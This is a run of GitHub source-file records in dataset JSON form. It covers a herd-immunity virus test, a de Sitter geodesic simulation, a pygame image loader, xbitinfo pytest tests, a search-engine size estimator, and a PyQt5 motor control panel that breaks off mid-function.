is working.'''\n virus = Virus(\"Ebola\", 0.22, 0.7)\n assert virus.name == \"Ebola\"\n assert virus.repro_rate == 0.22\n assert virus.mortality_rate == 0.7\n\n# MAKHMUD's test\ndef test_virus_tuberculosis():\n virus = Virus(\"Tuberculosis\", 0.55, 0.67)\n assert virus.name == \"Tuberculosis\"\n assert virus.repro_rate == 0.55\n assert virus.mortality_rate == 0.67\n","repo_name":"makhmudislamov/HerdImmunityMakeSchool-Refactored","sub_path":"virus.py","file_name":"virus.py","file_ext":"py","file_size_in_byte":769,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"} +{"seq_id":"25204048428","text":"\"\"\" Another chatgpt stab at geodesics in de Sitter Space \n\n\n\"\"\"\nimport math\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n# Define parameters\nH = 1.0 # Hubble constant\nL = 1.0 # de Sitter radius\nm = 0.1 # mass of particle\ntmax = 5.0 # maximum time\nN = 1000 # number of time steps\ndt = tmax / N # time step size\n\n# Define initial conditions\nx0 = 0.0\ny0 = L\npx0 = m * np.sqrt((H*L)**2 - 1.0) # ho-hum this is zero.\npy0 = 0.0\n\n# results\nresults = None\n\n# Define the differential equations for x, y, px, and py\ndef f(t, X):\n x, y, px, py = X\n \n r = np.sqrt(x**2 + y**2)\n f_x = px / (m * r)\n f_y = py / (m * r)\n f_px = -m * H**2 * x / r**3\n f_py = -m * H**2 * y / r**3\n return np.array([f_x, f_y, f_px, f_py])\n\ndef main():\n # Solve the differential equations using the Runge-Kutta method\n\n t = 0.0\n X = np.array([x0, y0, px0, py0])\n xvals = [x0]\n yvals = [y0]\n tvals = [t]\n Xvals = [dict(t=t, x=x0, y=y0, px=px0, py=py0)]\n while t < tmax:\n k1 = dt * f(t, X)\n k2 = dt * f(t + 0.5*dt, X + 0.5*k1)\n k3 = dt * f(t + 0.5*dt, X + 0.5*k2)\n k4 = dt * f(t + dt, X + k3)\n X = X + (k1 + 2.0*k2 + 2.0*k3 + k4) / 6.0\n xvals.append(X[0])\n yvals.append(X[1])\n tvals.append(t)\n x, y, px, py = X\n Xvals.append(dict(t=t, x=x, y=y, px=px, py=py))\n t += dt\n\n global results\n results = Xvals\n \n # Plot the geodesic\n #plt.plot(xvals, yvals)\n plt.plot(tvals, xvals, label='x')\n plt.plot(tvals, yvals, label='y')\n plt.plot(tvals, list(x['py'] for x in Xvals), label='py')\n plt.plot(tvals, list(x['px'] for x in Xvals), label='px')\n plt.plot(tvals, list(math.sqrt(x['x']**2 + x['y']**2) for x in Xvals), label='r')\n #plt.xlim(-2*L, 2*L)\n #plt.ylim(-2*L, 2*L)\n #plt.gca().set_aspect('equal', adjustable='box')\n plt.legend()\n plt.xlabel('t')\n plt.show()\n\nif __name__ == '__main__':\n\n main()\n","repo_name":"swfiua/gotu","sub_path":"gotu/aidss2.py","file_name":"aidss2.py","file_ext":"py","file_size_in_byte":1948,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"39263293153","text":"import pygame\nfrom PIL import Image as PilImage, ImageSequence\nfrom typing import List\nfrom pygame import Surface\nimport os\n\nfrom game.Entity.Image import Image\n\nclass ImageService:\n IMAGE_FORMAT_GIF = 'GIF'\n FRAME_TYPE_RGBA = 'RGBA'\n\n def __init__(self) -> None:\n self.imageSurfaceMap = {}\n\n def getImageFrameSurfaceList(self, imagePath: str) -> List[Surface]:\n result = []\n\n pilImage = PilImage.open(imagePath)\n if pilImage.format == self.IMAGE_FORMAT_GIF and pilImage.is_animated:\n for frame in ImageSequence.Iterator(pilImage):\n result.append(self.convertPilImageToSurface(frame.convert(self.FRAME_TYPE_RGBA)))\n else:\n result.append(self.convertPilImageToSurface(pilImage))\n\n return result\n\n def convertPilImageToSurface(self, pilImage) -> Surface:\n return pygame.image.fromstring(pilImage.tobytes(), pilImage.size, pilImage.mode).convert_alpha()\n\n def scaleImageSurface(self, imageSurface: Surface, width: int, height: int):\n return pygame.transform.scale(imageSurface, (width, height))\n\n def scaleImageSurfaceList(self, imageSurfaceList: List[Surface], width: int, height: int) -> list:\n result = []\n\n for imageSurface in imageSurfaceList:\n result.append(self.scaleImageSurface(imageSurface, width, height))\n\n return result\n\n def buildImage(self, path: str, width: int, height: int) -> Image:\n imageFrameSurfaceList = self.getImageFrameSurfaceList(path)\n imageFrameSurfaceList = self.scaleImageSurfaceList(\n imageFrameSurfaceList,\n width,\n height\n )\n\n self.imageSurfaceMap[path] = imageFrameSurfaceList\n\n image = Image(path)\n\n return image\n\n def buildImageList(self, path: str, width: int, height: int) -> List[Image]:\n result = []\n\n for fileName in os.listdir(path):\n result.append(self.buildImage(\"%s%s\" % (path, fileName), width, height))\n\n return result\n\n","repo_name":"white-rabbit-1-sketch/helicopter","sub_path":"Service/System/ImageService.py","file_name":"ImageService.py","file_ext":"py","file_size_in_byte":2024,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"77"} +{"seq_id":"39354750456","text":"#!/usr/bin/env python\n\n\"\"\"Tests for `xbitinfo` package.\"\"\"\nimport os\n\nimport numpy as np\nimport pytest\nimport xarray as xr\nfrom numpy.testing import assert_allclose, assert_equal\nfrom xarray.core import formatting\nfrom xarray.core.dataarray import DataArray\nfrom xarray.core.dataset import Dataset\nfrom xarray.core.variable import Variable\nfrom xarray.testing import assert_identical\n\nimport xbitinfo as xb\n\n\ndef assert_different(a, b):\n \"\"\"Raises an AssertionError if two objects are equal. This will match\n data values, dimensions and coordinates, but not names or attributes\n (except for Dataset objects for which the variable names must match).\n Arrays with NaN in the same location are considered equal.\n Parameters\n ----------\n a : xarray.Dataset, xarray.DataArray or xarray.Variable\n The first object to compare.\n b : xarray.Dataset, xarray.DataArray or xarray.Variable\n The second object to compare.\n See Also\n --------\n assert_identical, assert_allclose, Dataset.equals, DataArray.equals\n numpy.testing.assert_array_equal\n \"\"\"\n __tracebackhide__ = True\n assert type(a) == type(b)\n if isinstance(a, (Variable, DataArray)):\n assert not a.equals(b), formatting.diff_array_repr(a, b, \"equals\")\n elif isinstance(a, Dataset):\n assert not a.equals(b), formatting.diff_dataset_repr(a, b, \"equals\")\n else:\n raise TypeError(f\"{type(a)} not supported by assertion comparison\")\n\n\ndef bitinfo_assert_equal(bitinfo1, bitinfo2):\n assert list(bitinfo1.keys()) == list(bitinfo2.keys()), print(\n f\"lhs = {bitinfo1.keys()} vs rhs = {bitinfo2.keys()}\"\n )\n for v in bitinfo1.keys():\n assert_equal(bitinfo1[v], bitinfo2[v])\n\n\ndef bitinfo_assert_allclose(bitinfo1, bitinfo2, **kwargs):\n assert list(bitinfo1.keys()) == list(bitinfo2.keys()), print(\n f\"lhs = {bitinfo1.keys()} vs rhs = {bitinfo2.keys()}\"\n )\n for v in bitinfo1.keys():\n assert_allclose(bitinfo1[v], bitinfo2[v], **kwargs)\n\n\ndef bitinfo_assert_different(bitinfo1, bitinfo2):\n \"\"\"Fail bitinfo different values.\"\"\"\n assert (bitinfo1 != bitinfo2).any()\n\n\n@pytest.mark.parametrize(\"implementation\", [\"julia\", \"python\"])\ndef test_get_bitinformation_returns_dataset(implementation):\n \"\"\"Test xb.get_bitinformation returns xr.Dataset.\"\"\"\n ds = xr.tutorial.load_dataset(\"rasm\")\n assert isinstance(\n xb.get_bitinformation(ds, implementation=implementation, axis=0), xr.Dataset\n )\n\n\n@pytest.mark.parametrize(\"implementation\", [\"julia\", \"python\"])\ndef test_get_bitinformation_dim(implementation):\n \"\"\"Test xb.get_bitinformation is sensitive to dim.\"\"\"\n ds = xr.tutorial.load_dataset(\"rasm\")\n bitinfo0 = xb.get_bitinformation(ds, axis=0, implementation=implementation)\n bitinfo2 = xb.get_bitinformation(ds, axis=2, implementation=implementation)\n assert_different(bitinfo0, bitinfo2)\n\n\n@pytest.mark.parametrize(\"implementation\", [\"julia\", \"python\"])\ndef test_get_bitinformation_dim_string_equals_axis_int(implementation):\n \"\"\"Test xb.get_bitinformation undestands xarray dimension names the same way as axis as integers.\"\"\"\n ds = xr.tutorial.load_dataset(\"rasm\")\n bitinfox = xb.get_bitinformation(ds, dim=\"x\", implementation=implementation)\n bitinfo2 = xb.get_bitinformation(ds, axis=2, implementation=implementation)\n assert_identical(bitinfox, bitinfo2)\n\n\ndef test_get_bitinformation_masked_value(implementation=\"julia\"):\n \"\"\"Test xb.get_bitinformation is sensitive to masked_value.\"\"\"\n ds = xr.tutorial.load_dataset(\"rasm\")\n bitinfo = xb.get_bitinformation(ds, dim=\"x\", implementation=implementation)\n bitinfo_no_mask = xb.get_bitinformation(\n ds, dim=\"x\", masked_value=\"nothing\", implementation=implementation\n )\n bitinfo_no_mask_None = xb.get_bitinformation(\n ds, dim=\"x\", masked_value=None, implementation=implementation\n )\n assert_identical(bitinfo_no_mask, bitinfo_no_mask_None)\n assert_different(bitinfo, bitinfo_no_mask)\n\n\n@pytest.mark.parametrize(\"implementation\", [\"julia\", \"python\"])\ndef test_get_bitinformation_set_zero_insignificant(implementation):\n \"\"\"Test xb.get_bitinformation is sensitive to set_zero_insignificant.\"\"\"\n ds = xr.tutorial.load_dataset(\"air_temperature\")\n dim = \"lon\"\n bitinfo = xb.get_bitinformation(ds, dim=dim, implementation=implementation)\n bitinfo_szi_False = xb.get_bitinformation(\n ds, dim=dim, set_zero_insignificant=False, implementation=implementation\n )\n try:\n bitinfo_szi_True = xb.get_bitinformation(\n ds, dim=dim, set_zero_insignificant=True, implementation=implementation\n )\n assert_identical(bitinfo, bitinfo_szi_True)\n except NotImplementedError:\n assert implementation == \"python\"\n if implementation == \"python\":\n assert_identical(bitinfo, bitinfo_szi_False)\n elif implementation == \"julia\":\n assert_different(bitinfo, bitinfo_szi_False)\n\n\n@pytest.mark.parametrize(\"implementation\", [\"julia\", \"python\"])\ndef test_get_bitinformation_confidence(implementation):\n \"\"\"Test xb.get_bitinformation is sensitive to confidence.\"\"\"\n ds = xr.tutorial.load_dataset(\"air_temperature\")\n dim = \"lon\"\n bitinfo = xb.get_bitinformation(ds, dim=dim, implementation=implementation)\n try:\n bitinfo_conf99 = xb.get_bitinformation(\n ds, dim=dim, confidence=0.99, implementation=implementation\n )\n bitinfo_conf50 = xb.get_bitinformation(\n ds, dim=dim, confidence=0.5, implementation=implementation\n )\n assert_different(bitinfo_conf99, bitinfo_conf50)\n assert_identical(bitinfo, bitinfo_conf99)\n except AssertionError:\n assert implementation == \"python\"\n\n\n@pytest.mark.parametrize(\"implementation\", [\"julia\", \"python\"])\ndef test_get_bitinformation_label(rasm, implementation):\n \"\"\"Test xb.get_bitinformation serializes when label given.\"\"\"\n ds = rasm\n xb.get_bitinformation(\n ds, dim=\"x\", label=\"./tmp_testdir/rasm\", implementation=implementation\n )\n assert os.path.exists(\"./tmp_testdir/rasm.json\")\n # second call should be faster\n xb.get_bitinformation(\n ds, dim=\"x\", label=\"./tmp_testdir/rasm\", implementation=implementation\n )\n os.remove(\"./tmp_testdir/rasm.json\")\n\n\n@pytest.mark.parametrize(\"implementation\", [\"julia\", \"python\"])\n@pytest.mark.parametrize(\"dtype\", [\"float64\", \"float32\", \"float16\"])\ndef test_get_bitinformation_dtype(rasm, dtype, implementation):\n \"\"\"Test xb.get_bitinformation returns correct number of bits depending on dtype.\"\"\"\n ds = rasm.astype(dtype)\n v = list(ds.data_vars)[0]\n dtype_bits = dtype.replace(\"float\", \"\")\n assert len(xb.get_bitinformation(ds, dim=\"x\")[v].coords[\"bit\" + dtype_bits]) == int(\n dtype_bits\n )\n\n\n@pytest.mark.parametrize(\"implementation\", [\"julia\", \"python\"])\ndef test_get_bitinformation_multidim(rasm, implementation):\n \"\"\"Test xb.get_bitinformation runs on all dimensions by default\"\"\"\n ds = rasm\n bi = xb.get_bitinformation(ds, implementation=implementation)\n # check length of dimension\n assert bi.dims[\"dim\"] == len(ds.dims)\n bi_time = bi.sel(dim=\"time\").Tair.values\n bi_x = bi.sel(dim=\"x\").Tair.values\n bi_y = bi.sel(dim=\"y\").Tair.values\n assert any(bi_time != bi_x)\n assert any(bi_time != bi_y)\n assert any(bi_y != bi_x)\n\n\n@pytest.mark.parametrize(\"implementation\", [\"julia\", \"python\"])\ndef test_get_bitinformation_different_variables_dims(rasm, implementation):\n \"\"\"Test xb.get_bitinformation runs with variables of different dimensionality\"\"\"\n ds = rasm\n # add variable with different dimensionality\n ds[\"Tair_mean\"] = ds.Tair.mean(dim=\"time\")\n bi = xb.get_bitinformation(ds, implementation=implementation)\n assert all(np.isnan(bi.Tair_mean.sel(dim=\"time\")))\n bi_Tair_mean_x = bi.Tair_mean.sel(dim=\"x\")\n bi_Tair_x = bi.Tair.sel(dim=\"x\")\n assert_different(bi_Tair_mean_x, bi_Tair_x)\n\n\n@pytest.mark.parametrize(\"implementation\", [\"julia\", \"python\"])\ndef test_get_bitinformation_different_dtypes(rasm, implementation):\n ds = rasm\n ds[\"Tair32\"] = ds.Tair.astype(\"float32\")\n ds[\"Tair16\"] = ds.Tair.astype(\"float16\")\n bi = xb.get_bitinformation(ds, implementation=implementation)\n for bitdim in [\"bit16\", \"bit32\", \"bit64\"]:\n assert bitdim in bi.dims\n assert bitdim in bi.coords\n\n\n@pytest.mark.parametrize(\"implementation\", [\"julia\", \"python\"])\ndef test_get_bitinformation_dim_list(rasm, implementation):\n bi = xb.get_bitinformation(rasm, dim=[\"x\", \"y\"], implementation=implementation)\n assert (bi.dim == [\"x\", \"y\"]).all()\n\n\ndef test_get_bitinformation_keep_attrs(rasm):\n bi = xb.get_bitinformation(rasm, dim=[\"x\", \"y\"]).Tair\n assert \"units\" in bi.attrs\n assert bi.attrs[\"units\"] == 1\n for a in rasm.Tair.attrs.keys():\n assert bi.attrs[\"source_\" + a] == rasm.Tair.attrs[a], print(bi.attrs)\n\n\n@pytest.mark.parametrize(\n \"ds,dim,axis\",\n [\n (pytest.lazy_fixture(\"ugrid_demo\"), None, -1),\n (pytest.lazy_fixture(\"icon_grid_demo\"), \"ncells\", None),\n (pytest.lazy_fixture(\"air_temperature\"), \"lon\", None),\n (pytest.lazy_fixture(\"rasm\"), \"x\", None),\n (pytest.lazy_fixture(\"ROMS_example\"), \"eta_rho\", None),\n (pytest.lazy_fixture(\"era52mt\"), \"time\", None),\n (pytest.lazy_fixture(\"eraint_uvz\"), \"longitude\", None),\n ],\n)\ndef test_implementations_agree(ds, dim, axis):\n \"\"\"Test whether the python and julia implementation retrieve the same results\"\"\"\n bi_python = xb.get_bitinformation(\n ds,\n dim=dim,\n axis=axis,\n implementation=\"python\",\n set_zero_insignificant=False,\n overwrite=True,\n masked_value=None,\n )\n bi_julia = xb.get_bitinformation(\n ds,\n dim=dim,\n axis=axis,\n implementation=\"julia\",\n set_zero_insignificant=False,\n overwrite=True,\n masked_value=None,\n )\n bitinfo_assert_allclose(bi_python, bi_julia, rtol=1e-4)\n","repo_name":"observingClouds/xbitinfo","sub_path":"tests/test_get_bitinformation.py","file_name":"test_get_bitinformation.py","file_ext":"py","file_size_in_byte":10000,"program_lang":"python","lang":"en","doc_type":"code","stars":46,"dataset":"github-code","pt":"77"} +{"seq_id":"70505270329","text":"from threading import Lock\nimport random\n\nfrom abs_estimator import AbsEstimator\n\n\nclass SumEst(AbsEstimator):\n _ITERATION_NUMBER = 100\n _POOL_SAMPLE_SIZE = 1000\n _ITERATION_NUMBER_INFORMATION = \"Number of iterations\"\n _POOL_SAMPLE_SIZE_INFORMATION = \"Size of the query pool sample\"\n _PAIR_QUERY_INDEX = 0\n _PAIR_DOCUMENT_INDEX = 1\n\n @property\n def experiment_details(self):\n additional_information = {SumEst._ITERATION_NUMBER_INFORMATION: SumEst._ITERATION_NUMBER,\n SumEst._POOL_SAMPLE_SIZE_INFORMATION: SumEst._POOL_SAMPLE_SIZE}\n return additional_information\n\n @property\n def common_api(self):\n return self.__common_api\n\n @common_api.setter\n def common_api(self, val):\n self.__common_api = val\n\n def __init__(self, common_api):\n self.__common_api = common_api\n\n def estimate(self):\n super().estimate()\n estimation_acc = 0\n query_pool = self.common_api.read_query_pool()\n pool_size = self._estimate_pool_size(query_pool)\n for i in range(0, SumEst._ITERATION_NUMBER):\n query_document_pair = self._select_query_document_pair(query_pool)\n document = query_document_pair[SumEst._PAIR_DOCUMENT_INDEX]\n query = query_document_pair[SumEst._PAIR_QUERY_INDEX]\n document_inverse_degree = self._calculate_document_inverse_degree(document, query_pool)\n degree_query = self._calculate_degree_query(query)\n partial_estimation = pool_size * degree_query * document_inverse_degree\n estimation_acc += partial_estimation\n self.common_api.report_progress(i, SumEst._ITERATION_NUMBER)\n estimation = estimation_acc / SumEst._ITERATION_NUMBER\n return estimation\n\n def _verify_match(self, query, document):\n content = document.content.lower()\n if content.find(query.lower()) != -1:\n return True\n return False\n\n def _select_query_document_pair(self, query_pool):\n list_size = len(query_pool)\n while True:\n random_index = random.randrange(list_size)\n random_query = query_pool[random_index]\n try:\n document_list = self.common_api.download(random_query).results\n except:\n continue\n valid_list = []\n for document in document_list:\n if self._verify_match(random_query, document):\n valid_list.append(document)\n if len(valid_list) > 0:\n random_index = random.randrange(len(valid_list))\n random_document = valid_list[random_index]\n return [random_query, random_document]\n\n def _get_matching_query_list(self, document, query_pool):\n lock = Lock()\n matching_query_list = []\n\n def iteration(query):\n nonlocal document, matching_query_list, lock\n if self._verify_match(query, document):\n with lock:\n matching_query_list.append(query)\n\n self.common_api.execute_in_parallel(query_pool, iteration)\n return matching_query_list\n\n def _calculate_degree_query(self, query):\n lock = Lock()\n count = 0\n\n def iteration(document):\n nonlocal query, count, lock\n if self._verify_match(query, document):\n with lock:\n count += 1\n\n document_list = self.common_api.download(query).results\n self.common_api.execute_in_parallel(document_list, iteration)\n return count\n\n def _estimate_pool_size(self, query_pool):\n count = 0\n query_pool_size = len(query_pool)\n lock = Lock()\n\n # noinspection PyUnusedLocal\n def iteration(iteration_number):\n nonlocal query_pool, query_pool_size, count, lock\n random_index = random.randrange(0, query_pool_size)\n query = query_pool[random_index]\n document_list = self.common_api.download(query).results\n for document in document_list:\n if self._verify_match(query, document):\n with lock:\n count += 1\n return\n\n self.common_api.execute_in_parallel(range(0, SumEst._POOL_SAMPLE_SIZE), iteration)\n return len(query_pool) * count / SumEst._POOL_SAMPLE_SIZE\n\n def _calculate_document_inverse_degree(self, document, query_pool):\n matching_query_list = self._get_matching_query_list(document, query_pool)\n i = 1\n while True:\n random_index = random.randrange(0, len(matching_query_list))\n query = matching_query_list[random_index]\n try:\n document_list = self.common_api.download(query).results\n except:\n continue\n for item in document_list:\n if item.identifier == document.identifier:\n return i / len(matching_query_list)\n i += 1\n","repo_name":"fpbfabio/estimation_methods","sub_path":"sum_est.py","file_name":"sum_est.py","file_ext":"py","file_size_in_byte":5017,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"37562572928","text":"\"\"\"\nProyecto: Panel de control de velociadad de motores Tf \n@Autor: EDVS\n\"\"\"\n\n#%%\n# import libraries \nimport sys\nfrom time import time\nfrom PyQt5.QtCore import *\nfrom PyQt5.QtGui import *\nfrom PyQt5.QtWidgets import *\nfrom PyQt5 import QtSerialPort\n\nimport time\n\n# Author of the library: Stefan Holstein \n# inspired by: https://github.com/Werkov/PyQt4/blob/master/examples/widgets/analogclock.py\nfrom analoggaugewidget import AnalogGaugeWidget\n\nclass Main_App(QMainWindow):\n\n def __init__(self,parent=None,*args):\n super(Main_App,self).__init__(parent=parent)\n\n self.ancho = 450 \n self.altura = 800\n self.run = True\n\n # --- VARIABLES PARA LA LECTURA DE DE LOS SENSORES--------\n self.velocidad_M1 = 0\n self.velocidad_M2 = 0\n self.corriente_M1 = 0\n self.corriente_M2 = 0\n\n self.setFixedSize(self.ancho,self.altura)\n self.setWindowTitle(\"panel de control\")\n self.General = QLabel(self)\n self.General.setGeometry(0,0,self.ancho,self.altura)\n self.General.setStyleSheet(\"border-radius: 3px; border: none; background-color: #000000;\")\n\n\n self.box_Panel = QLabel(self.General)\n self.tv_tituloPANEL = QLabel(\"PANEL DE CONTROL\",self.box_Panel)\n \n self.compotenes = QWidget(self.box_Panel)\n self.name_dispsitivo = QLabel('Dispositivos:',self.compotenes)\n \n \n self.list_Puertos = QComboBox(self)\n \n #----------Box panel---------#\n self.box_Panel.setGeometry(QRect(10, 10,self.ancho-20, self.altura-20))\n self.box_Panel.setStyleSheet(\" border-radius: 15px; background-color: #101010;\")\n \n #----------Box panel de control---------#\n \n font = QFont()\n font.setPointSize(13)\n font.setBold(True)\n self.tv_tituloPANEL.setFont(font)\n self.tv_tituloPANEL.setStyleSheet(\"border: none; color: #C2185B;\")\n self.tv_tituloPANEL.setGeometry(100, 10, 250, 40)\n\n ## --- COMPONENTES ---------------\n self.compotenes.setGeometry(5,50,420,46)\n self.compotenes.setStyleSheet(\" border-radius: 5px; border:1px solid #607D8B;\")\n\n #-------dispositivos-----\n font = QFont()\n font.setPointSize(11)\n self.name_dispsitivo.setFont(font)\n self.name_dispsitivo.setStyleSheet(\" border-radius: 15px; border: none;color:#1565C0\")\n self.name_dispsitivo.setGeometry(10,3,120,40)\n\n #---------Lista de puertos--------------#\n font.setPointSize(10)\n self.list_Puertos.setFont(font)\n self.list_Puertos.setGeometry(135, 65, 150, 35)\n ports = [\"COM1\", \"COM2\", \"COM3\", \"COM4\", \"COM5\"]\n \n self.list_Puertos.addItems(ports)\n \n self.list_Puertos.setStyleSheet(\"QListView {background-color: #B3E5FC;}\")\n self.list_Puertos.setStyleSheet(\"border-radius: 2px; border:1px solid #1565C0;color:#4CAF50; background-color: transparest;\")\n \n\n \n # ----- button list ports-------------\n font.setPointSize(11)\n\n self.button = QPushButton(self.compotenes)\n self.button.setFont(font)\n self.button.setMouseTracking(True)\n self.button.setText(\"Conectar\")\n self.button.setCursor(Qt.PointingHandCursor)\n self.button.setAutoDefault(False)\n self.button.setGeometry(300, 6, 100, 34)\n self.button.setCheckable(True)\n self.button.clicked.connect(self.Mensaje)\n self.button.setStyleSheet(\"background-color: rgb(251, 192, 45); border-radius: 5px; border: 1px solid rgb(100,100,100);\")\n\n \n\n # ----------- PROGRES BARR--------------#\n \n self.C_bar = QWidget(self.box_Panel)\n self.C_bar.setGeometry(20, 100,390,300)\n self.C_bar.setStyleSheet(\" border-radius: 10px; background-color: black; border:none;\")\n\n self.frame_1 = QFrame(self.C_bar)\n self.frame_1.setGeometry(10, 10,160,160)\n self.frame_1.setFrameShape(QFrame.StyledPanel)\n self.frame_1.setFrameShadow(QFrame.Raised)\n self.sensor_M1= AnalogGaugeWidget(self.frame_1)\n self.sensor_M1.setMinimumSize(QSize(150, 150))\n \n \n self.frame_2 = QFrame(self.C_bar)\n self.frame_2.setGeometry(220, 10,160,160)\n self.frame_2.setFrameShape(QFrame.StyledPanel)\n \n\n self.frame_2.setFrameShadow(QFrame.Raised)\n self.sensor_M2= AnalogGaugeWidget(self.frame_2)\n self.sensor_M2.setMinimumSize(150, 150)\n self.sensor_M2.value_min = -60\n self.sensor_M2.value_max = 60\n self.sensor_M2.units = \"deg\"\n\n # ---Label----------\n self.LedDirecion = QLabel(self.C_bar)\n self.LedDirecion.setGeometry(175, 20,30,30)\n self.LedDirecion.setStyleSheet(\" border-radius: 15px; background-color: black; border: 1px solid #CFD8DC;\")\n \n # +++++++++++++++++++++++Label para la lectura del sensor de corriente++++++++++++++++++++++++\n self.img_LogoCarrito = QLabel(self.C_bar)\n self.img_LogoUPC = QLabel(self.C_bar)\n #----------------LOGO UPC---------#\n self.img_LogoCarrito.setGeometry(10,180, 120, 100)\n self.img_LogoCarrito.setPixmap(QPixmap(\"imagenes/carrito.png\"))\n self.img_LogoCarrito.setStyleSheet(\"background-color: black ;border:none;\")\n \n self.img_LogoCarrito.setScaledContents(True)\n\n #----------LOGO AESS---------#\n self.img_LogoUPC.setGeometry(250, 180, 100, 100)\n self.img_LogoUPC.setPixmap(QPixmap(\"imagenes/LOGO_UPC.png\"))\n self.img_LogoUPC.setStyleSheet(\"border:none;\")\n \n self.img_LogoUPC.setScaledContents(True)\n\n\n # ----DEFINIR SET POINT DEL MOTOR 1 (motor derecho)-------\n \"\"\"self.corr_M1 = QWidget(self.C_bar)\n self.corr_M1.setGeometry(110,200,165,50)\n self.corr_M1.setStyleSheet(\" border-radius: 10px; border: 1px solid #FFEE58;\")\n\n self.L_corrD = QLabel(\"Corriente MI: (mA):\",self.corr_M1)\n self.L_corrD.setGeometry(5,2,150,20)\n self.L_corrD.setAlignment(Qt.AlignCenter)\n self.L_corrD.setStyleSheet(\"border: none; color: #F5F5F5\")\n\n self.mA_M1 = QLabel(str(self.corriente_M1),self.corr_M1)\n self.mA_M1.setGeometry(5,24,150,20)\n self.mA_M1.setAlignment(Qt.AlignCenter)\n self.mA_M1.setStyleSheet(\"border: none; color: #4CAF50\")\n font.setPointSize(10)\n self.mA_M1.setFont(font)\"\"\"\n\n\n # -----------BOTONES PARA CONTROLAR LA DIRECION Y VELOCIDAD-----\n \n self.botones = QWidget(self.box_Panel)\n self.botones.setGeometry(20, 410,390,350)\n self.botones.setStyleSheet(\" border-radius: 10px; border: none; background-color: black\")\n\n # ----DEFINIR SET POINT DEL MOTOR 1 (motor derecho)-------\n self.SP_M1 = 0\n self.SP_M2 = 0\n\n self.motor1 = QWidget(self.botones)\n self.motor1.setGeometry(10,10,120,50)\n self.motor1.setStyleSheet(\" border-radius: 10px; border: 1px solid #E91E63;\")\n\n self.L_motorD = QLabel(\"MOTOR VEL (rpm):\",self.motor1)\n self.L_motorD.setGeometry(5,2,110,20)\n self.L_motorD.setStyleSheet(\"border: none; color: #F5F5F5\")\n\n self.RMP_M1 = QLabel(str(self.SP_M1),self.motor1)\n self.RMP_M1.setGeometry(10,24,100,20)\n self.RMP_M1.setAlignment(Qt.AlignCenter)\n self.RMP_M1.setStyleSheet(\"border: none; color: #4CAF50\")\n font.setPointSize(10)\n self.RMP_M1.setFont(font)\n\n \n # ----DEFINIR SET POINT DEL MOTOR 2 (motor izquierdo)-------\n self.motor2 = QWidget(self.botones)\n self.motor2.setGeometry(260,10,120,50)\n self.motor2.setStyleSheet(\" border-radius: 10px; border: 1px solid #E91E63;\")\n\n self.L_motorI = QLabel(\"MOTOR POS (deg):\",self.motor2)\n self.L_motorI.setGeometry(5,2,110,20)\n self.L_motorI.setStyleSheet(\"border: none; color: #F5F5F5\")\n\n self.RMP_M2 = QLabel(str(self.SP_M2),self.motor2)\n self.RMP_M2.setGeometry(10,24,100,20)\n self.RMP_M2.setAlignment(Qt.AlignCenter)\n self.RMP_M2.setStyleSheet(\"border: none; color: #4CAF50\")\n font.setPointSize(10)\n self.RMP_M2.setFont(font)\n\n # *************** BOTONES ********************\n h_1 = 80\n w_1 = 80\n cx = 160\n cy = 160\n\n # --------------- BOTON PARA AVANZAR ADELANTE-------------\n self.b_upper = QPushButton(self.botones)\n self.b_upper.setGeometry(cx, cy-h_1, w_1, h_1)\n self.b_upper.setMouseTracking(True)\n self.b_upper.setIcon(self.style().standardIcon(getattr(QStyle, \"SP_ArrowUp\")))\n self.b_upper.setIconSize(QSize(h_1,w_1))\n self.b_upper.setCursor(Qt.PointingHandCursor)\n self.b_upper.setAutoDefault(False)\n \n #self.b_upper.clicked.connect(self.Mup)\n self.b_upper.pressed.connect(self.Mup)\n self.b_upper.released.connect(self.stopCount)\n self.b_upper.setStyleSheet(\"border-radius: 30px;\")\n self.b_upper.setCheckable(True)\n\n # --------------- BOTON BOTON PARA RETROCEDER------------- \n self.b_Back = QPushButton(self.botones)\n self.b_Back.setGeometry(cx, cy+h_1, w_1, h_1)\n self.b_Back.setIcon(self.style().standardIcon(getattr(QStyle, \"SP_ArrowDown\")))\n self.b_Back.setMouseTracking(True)\n self.b_Back.setIconSize(QSize(h_1,w_1))\n self.b_Back.setCursor(Qt.PointingHandCursor)\n self.b_Back.setAutoDefault(False)\n\n #self.b_Back.clicked.connect(self.MDown)\n self.b_Back.pressed.connect(self.MDown)\n self.b_Back.released.connect(self.stopCount)\n self.b_Back.setStyleSheet(\"border-radius: 30px;\")\n\n # --------------- BOTON PARA GIRAR A LA IZQUIERDA------------- \n self.b_left = QPushButton(self.botones)\n self.b_left.setGeometry(cx+w_1+10, cy, w_1, h_1)\n self.b_left.setIcon(self.style().standardIcon(getattr(QStyle, \"SP_ArrowRight\")))\n self.b_left.setMouseTracking(True)\n self.b_left.setIconSize(QSize(h_1,w_1))\n self.b_left.setCursor(Qt.PointingHandCursor)\n self.b_left.setAutoDefault(False)\n\n #self.b_left.clicked.connect(self.MLeft)\n self.b_left.pressed.connect(self.MLeft)\n self.b_left.released.connect(self.stopCount)\n self.b_left.setStyleSheet(\"border-radius: 30px;\")\n\n # --------------- BOTON PARA GIRAR A LA DERECHA------------- \n\n self.b_right = QPushButton(self.botones)\n self.b_right.setGeometry(cx-w_1-10, cy, w_1, h_1)\n self.b_right.setIcon(self.style().standardIcon(getattr(QStyle, \"SP_ArrowLeft\")))\n self.b_right.setMouseTracking(True)\n self.b_right.setIconSize(QSize(h_1,w_1))\n self.b_right.setCursor(Qt.PointingHandCursor)\n self.b_right.setAutoDefault(False)\n\n #self.b_right.clicked.connect(self.Mright)\n self.b_right.pressed.connect(self.Mright)\n self.b_right.released.connect(self.stopCount)\n self.b_right.setStyleSheet(\"border-radius: 30px;\")\n\n\n \n #-------Interrupcion cada 50ms para actualizar el set point\n self.direction =''\n self.timer1 = QTimer()\n self.timer1.setInterval(50)\n self.timer1.timeout.connect(self.contador)\n self.timer1.stop() #Inicai imagen statica\n\n # ======================= FUNCIONES ============================\n \n def contador(self):\n if self.direction== 'UP':\n\n self.SP_M1 = self.SP_M1+1\n \n if self.SP_M1>=821:\n 